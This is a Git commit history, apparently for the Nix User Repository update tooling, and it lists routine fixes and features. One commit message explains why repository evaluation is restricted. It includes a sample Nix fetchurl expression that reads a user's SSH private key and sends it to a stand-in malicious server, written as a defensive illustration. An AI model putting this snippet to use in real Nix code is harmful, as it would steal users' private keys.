Commit graph

28 commits

Author SHA1 Message Date
Jörg Thalheim
d574844d17
add timeout when downloading repositories 2019-12-10 11:28:03 +00:00
Will Dietz
37889531f3 nur/update: drop eval output instead of filling pipe
Since nothing reads the pipe, writes block indefinitely
once the pipe's buffer is full.
2019-01-02 14:02:39 -06:00
Jörg Thalheim
3595ba800c
cleaner eval error messages 2019-01-02 18:13:40 +01:00
Jörg Thalheim
ce61f02fc3
NUR: add timeout for repository evaluation 2019-01-02 17:52:24 +01:00
Jörg Thalheim
81189886c2
restricted-eval: allow static.rust-lang.org
this should fix the mozilla overlay
2018-11-06 09:32:28 +00:00
Jörg Thalheim
97b6794ff1 implement channel lock files
fixes #46
2018-08-13 09:37:50 +02:00
Jörg Thalheim
81fca0e2cf fix persisting manifest 2018-08-11 16:27:57 +02:00
Jörg Thalheim
93f7c23f2f add build-channel command 2018-08-11 14:18:35 +02:00
Jörg Thalheim
475851ada5 move scripts to nur subcommands 2018-08-10 15:43:27 +02:00
Jörg Thalheim
2290918707 ci: make travis output less verbose 2018-07-21 15:12:09 +01:00
Jörg Thalheim
36dd399d0d nur/update.py: fix build when repositories are not available 2018-07-21 15:04:48 +01:00
Silvan Mosberger
270aa18898
Update python script for new syntax 2018-07-20 04:36:21 +02:00
Jörg Thalheim
126df71d94 improve gitlab support 2018-07-16 11:06:08 -04:00
Jörg Thalheim
04d8a06b24 make scripts names more consistent 2018-07-15 13:48:51 -04:00
Jörg Thalheim
8f34edef9f fix strict evaluation on travis 2018-07-08 20:37:30 +01:00
Jörg Thalheim
58c8d39825 backport to python3.6 2018-07-08 20:13:01 +01:00
Jörg Thalheim
bd3c9d77f9
Merge branch 'master' into unstable-channel 2018-07-08 17:49:33 +01:00
Jörg Thalheim
16246f510e Use nix-instantiate to find nixpkgs source 2018-07-05 13:47:09 +01:00
Jörg Thalheim
a73e3cd465 implement git submodules support 2018-07-01 21:47:03 +01:00
Jörg Thalheim
a50860fcbb restrict evaluation of repos
It should be save for users to evaluate nix code.
Therefore we restrict evaluation of repositories.
Otherwise an attacker could leak confidential data, i.e.:

fetchurl {
  url = "https://malicious-server.com/log-key?content=" + (builtins.readFile "../../.ssh/id_rsa");
  sha256 = "43c2c9e5e7a16b6c88ba3088a9bfc82f7db8e13378be7c78d6c14a5f8ed05afd";
}
2018-07-01 15:50:39 +01:00
Jörg Thalheim
3f515f8bab test & automate format of repos.json
fixes #12
2018-07-01 13:56:51 +01:00
Jörg Thalheim
9a9ce070b4 allow to specify nix file that is sourced from repository 2018-07-01 12:03:01 +01:00
Jörg Thalheim
9df1b2a19f fix prefetching bare git repositories 2018-06-29 23:20:39 +01:00
Jörg Thalheim
6369f21e54 nur/update: also include nix-prefetch-git in script closure 2018-06-29 22:50:40 +01:00
Jörg Thalheim
351bfefbc3 generate default.nix from lock file 2018-06-29 12:15:26 +01:00
zimbatm
f862362090 update.py: allow to build without argument
Generate the default.nix with a default pkgs argument so that it can be
used directly.
2018-06-18 11:41:13 +01:00
zimbatm
69ff5681d5 chmod +x nur/update.py 2018-06-18 11:40:28 +01:00
Jörg Thalheim
b56a29434f first commit 2018-06-15 21:23:28 +01:00